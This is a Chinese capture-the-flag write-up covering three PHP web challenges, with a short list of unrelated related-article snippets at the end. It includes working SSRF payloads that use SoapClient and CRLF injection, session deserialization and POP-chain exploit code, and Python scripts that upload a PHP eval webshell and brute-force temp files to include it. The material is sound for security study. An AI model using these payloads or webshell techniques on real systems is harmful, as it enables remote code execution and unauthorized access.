[LCTF]bestphp2022安洵杯 babyphp

news/2024/10/30 11:30:25/

目录

<1> [LCTF]bestphp‘s revenge

SoapClient触发反序列化导致ssrf

serialize_hander处理session方式不同导致session注入

crlf漏洞

<2> 安洵杯 babyphp

SoapClient 触发ssrf

session反序列化

利用文件操作原生类读取flag

<3> XCTF Final Web1

 解法1:calluser调用extract变量覆盖&包含session文件

 解法二:php7小bug 利用string.strip_tags导致php7执行崩溃


<1> [LCTF]bestphp‘s revenge

题目用到知识点:

  • SoapClient触发反序列化导致ssrf

  • serialize_hander处理session方式不同导致session注入

  • crlf漏洞

进去题目得到源码:

//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
//flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'] = $flag;}

接下来我们进行代码审计:

call_user_func 函数:

         把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.

通过flag.php 可知:需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

  • 首先可以f 传入extract 从而造成变量覆盖。
  • 这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组 其第一个参数reset($_SESSION)就是$_SESSION['name'],可控。  SoapClient原生类可以触发SSRF
  • 因此 我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')), 最终call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求

SoapClient的内容怎么控制呢,poc:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

这里还涉及到 CRLF 漏洞  CRLF是”回车+换行”(\r\n)的简称

后面打算再写一个原生类的文章,上次只写了一个文件操作类, 这边就不再赘述,大家可以参考下面的文章

参考:反序列化之PHP原生类的利用 - l3m0n - 博客园

这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1" 会将flag保存在cookie为PHPSESSID=aaaaaaaa的$SESSION数组中,$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。

当存储是php_serialize处理,然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理:php-session反序列化_葫芦娃42的博客-CSDN博客

我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。

不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST

生成payload:|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先传入 GET: f=session_start&name= 上面的payload   POST: serialize_handler=php_serialize

然后传入 GET: f=extract&name=SoapClient    POST: b=call_user_func

 更改 PHPSESSID为 aaaaaaaa  正常访问 执行 var_dump($SESSION) 得到flag

<2> 安洵杯 babyphp

考点类似于上一题:

  • SoapClient 触发ssrf

  • session反序列化

  • 利用文件操作原生类读取flag

<?php
//something in flag.phpclass A
{public $a;public $b;public function __wakeup(){$this->a = "babyhacker";}public function __invoke(){if (isset($this->a) && $this->a == md5($this->a)) {$this->b->uwant();}}
}class B
{public $a;public $b;public $k;function __destruct(){$this->b = $this->k;die($this->a);}
}class C
{public $a;public $c;public function __toString(){$cc = $this->c;return $cc();}public function uwant(){if ($this->a == "phpinfo") {phpinfo();} else {call_user_func(array(reset($_SESSION), $this->a));}}
}if (isset($_GET['d0g3'])) {ini_set($_GET['baby'], $_GET['d0g3']);session_start();$_SESSION['sess'] = $_POST['sess'];
}
else{session_start();if (isset($_POST["pop"])) {unserialize($_POST["pop"]);}
}
var_dump($_SESSION);
highlight_file(__FILE__);

源码可以构造pop链子:

B:__destruct  ->  C:__toString  ->  A:__invoke  ->  C:uwant

exp如下:

<?php
class A
{public $a;public $b;public function __invoke(){if (isset($this->a) && $this->a == md5($this->a)) {$this->b->uwant();}}
}class B
{public $a;public $b;public $k;function __destruct(){$this->b = $this->k;die($this->a);}
}class C
{public $a ;public $c;public function __toString(){$cc = $this->c;return $cc();}public function uwant(){if ($this->a == "phpinfo") {phpinfo();} else {call_user_func(array(reset($_SESSION), $this->a));}}
}
session_start();
$_SESSION['sess'] = 'SoapClient';$test = new B();
$test->a = new C();
$test->a->c = new A();
$test->a->c->a = '0e215962017';
$test->a->c->b = new C();
$test->a->c->b->a = '11111';
echo urlencode(serialize($test)));

 最终利用到危险函数位置:call_user_func(array(reset($_SESSION), $this->a));

再看 flag.php

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$f1ag=implode(array(new $_GET['a']($_GET['b'])));$_SESSION["F1AG"]= $f1ag;
}else{echo "only localhost!!";
}

存在ssrf漏洞 明显需要用 soapclient 原生类构造 get 数据

$f1ag=implode(array(new $_GET['a']($_GET['b']))); 存在文件操作原生类利用

 相比之前的 echo new $a($b);  implode(array(new $a($b)));也可以触发。

array(new $a($b)) 数组里只有一个 object类型的元素

implode() 函数返回一个由数组元素组合成的字符串,object被当做字符串进行操作,触发__toString() 与 echo效果差不多

那这道题我们是如何利用 call_user_func(array(reset($_SESSION), $this->a)); 来构造soapclient原生类进行ssrf呢?

<?php
$target = "http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$attack = new SoapClient(null,array('location' => $target,'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",'uri' => "hello")
);
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;

首先利用 ini_set($_GET['baby'], $_GET['d0g3']); 和 $_POST['sess'],设置 session 反序列化器为 php_serialize 然后我们把上面得到的ssrf_payload 前面加上"|" 传入session文件里。然后不设置d0g3,在取出的时候由于 session 的默认反序列化器是 php 而造成session反序列化漏洞。在传入pop为之前构造的链子,call_user_func里

 GET:?baby=session.serialize_handler&d0g3=php_serialize

POST:sess=|上面的payload 

 然后 需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中 reset($_SESSION)值为SoapClient,为了后面使call_user_func激活soap类

GET:?dog3=

POST:sess=SoapClient

 最后 POST传入构造好的pop链 直接用call_user_func激活soap类,通过flag.php将flag写入session。

之后我们更改Cookie里的PHPSESSID为ssrf_payload中设置的sessid 访问 var_dump($_SESSION) 输出我们的flag 。

注:第一次发包可能会报错 因为这个pop链并没有形成闭合,最后没有return一个String来给B类的__toString()方法 再发一次即可

<3> XCTF Final Web1

index.php如下:

<?phphighlight_file(__FILE__);error_reporting(0);ini_set('open_basedir', '/var/www/html:/tmp');$file = 'function.php';$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET);include($file);session_start();$_SESSION['name'] = $_POST['name'];if($_SESSION['name']=='admin'){header('location:admin.php');}
?> 

 function.php:

<?php
function filters($data){foreach($data as $key=>$value){if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){die('Do not hack me!');}}
}
?>

admin.php

<?php
if(empty($_SESSION['name'])){session_start();#echo 'hello ' + $_SESSION['name'];
}else{die('you must login with admin');
}?>

 解法1:calluser调用extract变量覆盖&包含session文件

   openbasedir 限制了工作目录,因此我们可以通过call_user_func回调session_start来更改session文件存储地址为 可操作的 /tmp。 把木马写入 sess_sessid 里

 然后 通过call_user_func 回调extract 变量覆盖file 来包含session文件里的🐎 进行rce

 解法二:php7小bug 利用string.strip_tags导致php7执行崩溃

php7的一个小bug:string.strip_tags可以导致php7在执行过程中奔溃

如果请求中同时存在一个文件上传的请求 , 这个文件就会被因为奔溃被保存在/tmp/phpXXXXXX(XXXXXX是数字+字母的6位数)

这个文件是持续保存的,不用条件竞争,直接爆破,为了爆破成功可以多线程去上传文件,生成多个phpXXXXXX

上传文件脚本:

import requests
import stringcharset = string.digits + string.ascii_lettershost = ""
port = 
base_url = "http://%s:%d" % (host, port)def upload_file_to_include(url, file_content):files = {'file': ('evil.jpg', file_content, 'image/jpeg')}try:response = requests.post(url, files=files)except Exception as e:print(e)def generate_tmp_files():file_content = "<?php echo 'wwwwwwwwwwwwwwwwwwwwwww';@eval($_POST['cmd']);  ?>"#phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)phpinfo_url = "%s/?function=extract&file=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)length = 60000for i in range(length):upload_file_to_include(phpinfo_url, file_content)def main():generate_tmp_files()if __name__ == "__main__":main()

爆破可利用文件脚本

import requests
import stringcharset = string.digits + string.ascii_lettershost = ""
port = 
base_url = "http://%s:%d" % (host, port)def brute_force_tmp_files():for i in charset:for j in charset:for k in charset:for l in charset:for m in charset:for n in charset:filename = i + j + k + l + m + nurl = "%s/?function=extract&file=/tmp/php%s" % (base_url, filename)print(url)try:response = requests.get(url)if 'wwww' in response.content:print("[+] Include success!")return Trueexcept Exception as e:print(e)return Falsedef main():brute_force_tmp_files()if __name__ == "__main__":main()

 爆破出来文件名之后,就通过/?function=extract&file=/tmp/phpxxxxxx post里cmd为命令 即可


http://www.ppmy.cn/news/12234.html

相关文章

12.30

反解 vim /var/named/chroot/etc/named.rfc1912.zones zone "a.com" { type master; file "a.com.zone"; }; zone "1.168.192.in-addr.arpa" { type master; file "192.168.1…

NET餐厅管理系统前端js-dwz.dialog打开一个层

//打开一个层 open:function(url, dlgid, title, options) { var op $.extend({},$.pdialog._op, options); var dialog $("body").data(dlgid); //重复打开一个层 if(dialog) { if(dial…

都2023年了,诸佬们肯定熟知RabbitMQ了吧

前言&#xff1a;大家好&#xff0c;我是小威&#xff0c;24届毕业生&#xff0c;曾经在某央企公司实习&#xff0c;目前入职某税务公司。本篇文章将记录和分享RabbitMQ相关的知识点。 本篇文章记录的基础知识&#xff0c;适合在学Java的小白&#xff0c;也适合复习中&#xff…

Vuejs设计与实现10-解析器

十三、解析器 文本模式 文本模式指的是解析器在工作时所进入的一些特殊状态 解析器默认模式为 DATA&#xff0c;根据不同的标签会触发不同的模式&#xff1a; RCDATA 模式&#xff1a;<title> 标签、<textarea> 标签RAWTEXT 模式&#xff1a;<style>、&l…

linux-用户和用户组

文章目录用户用户组用户和组的关系用户 Linux中每个用户是通过User Id&#xff08;UID&#xff09;来标识的 管理员&#xff1a;root 0 普通用户&#xff1a;1-60000自动分配 系统用户&#xff1a;1-499&#xff08;CentOS6以前&#xff09;&#xff0c;1-999&#xff08;Cent…

Verilog HDL

一、基础语法 1. 基础知识 &#xff08;1&#xff09;逻辑值 逻辑0&#xff1a;低电平。 逻辑1&#xff1a;高电平。 逻辑X&#xff1a;未知&#xff0c;可能是高电平&#xff0c;也可能是低电平。 逻辑Z&#xff1a;高阻态&#xff0c;外部没有激励信号&#xff0c;是一…

C语言进阶(8)——动态内存空间管理

前言 文章目录前言1.为什么存在动态内存分配2.动态内存函数的介绍2.1 malloc函数2.2 free函数2.3 calloc2.4realloc3 常见的动态内存错误4.经典笔试题题目 1&#xff1a;题目 2&#xff1a;题目 3&#xff1a;题目 4&#xff1a;5.C/C程序的内存开辟6.柔性数组6.1 定义6.2 柔性…

01- AUTOSAR IP 堆栈的模块架构与功能

文章目录 1 AUTOSAR IP 堆栈的模块1.1 Socket Adapter (SoAd)1.2 TCP/IP (TcpIp)1.3 以太网接口(EthIf)1.4 以太网状态管理器 (EthSm)1.5 UDP 网络管理 (UdpNm)传送门 ==>> AutoSAR入门和实战系列总目录 1 AUTOSAR IP 堆栈的模块 下面我们概述一下Ethernet/IP在A…